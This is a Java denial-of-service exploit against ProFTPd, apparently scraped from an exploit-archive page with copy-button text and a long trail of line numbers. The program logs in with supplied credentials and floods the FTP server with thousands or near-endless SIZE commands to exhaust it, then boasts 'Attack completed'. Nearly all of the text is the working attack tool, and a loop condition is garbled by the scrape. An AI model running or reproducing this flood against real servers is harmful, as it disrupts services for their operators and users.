复制 */ import java.net.*; import java.io.*; class TCPconnection { public TCPconnection (String hostname,程拒
int portnumber) throws Exception { Socket s = doaSocket(hostname, portnumber); br = new BufferedReader (new InputStreamReader (s.getInputStream())); ps = new PrintStream (s.getOutputStream()); } public String readLine() throws Exception { String s; try { s = br.readLine(); } catch (IOException ioe) { System.out.println("TCP Error ... its a little hax0r exception ;-)"); throw new Exception ("\nInput Error: I/O Error"); } return s; } public void println(String s) { ps.println(s); } private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null; int attempts = 0; while (s == null && attempts try { s = new Socket(hostname, portnumber); } catch (UnknownHostException uhe) { System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:"); throw new Exception("\nConnection Error: " + "unknown hostname"); } catch (IOException ioe) { System.err.println("The connection was not accomplished due to an I/O Error: trying it again ..."); } attempts++; } if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ..."); else return s; } private final int maxattempts = 5; private BufferedReader br; private PrintStream ps; } class proftpDoS { public static void main(String[] arg) throws Exception { InputStreamReader isr; BufferedReader tcld; String hostnamez, username, password, file, s1, option; int i, j, k; isr = new InputStreamReader(System.in); tcld = new BufferedReader(isr); System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-"); System.out.println("Code in an attempt to solve Fermat Lasts Theoreme"); hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } username = ""; while (username.length()==0) { System.out.print("Enter the username: "); username = tcld.readLine(); } password = ""; while (password.length()==0) { System.out.print("Enter the password for that username: "); password = tcld.readLine(); } file = ""; while (file.length()==0) { System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): "); file = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 10000 sizes to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option = tcld.readLine(); k = Integer.parseInt(option); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option = tcld.readLine(); k = Integer.parseInt(option); } TCPconnection tc = new TCPconnection(hostnamez, 21); tc.println("user " + username); tc.println("pass " + password); if (k==1) { for(i=0;i<10000;i++) tc.println("size " + file); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("size " + file); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } } 1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.99.100.101.102.103.104.105.106.107.108.109.110.111.112.113.114.115.116.117.118.119.120.121.122.123.124.125.126.127.128.129.130.131.132.133.134.135.136.137.138.139.140.141.142.143.144.145.146.147.148.149.150.151.152.153.154.155.156.157.158.159.160.161.162.163.164.165.166.167.168.169.170.171.172.173.174.175.176.177.178.179.180.181.182.183.184.185.186.187.188.189.190.191.192.
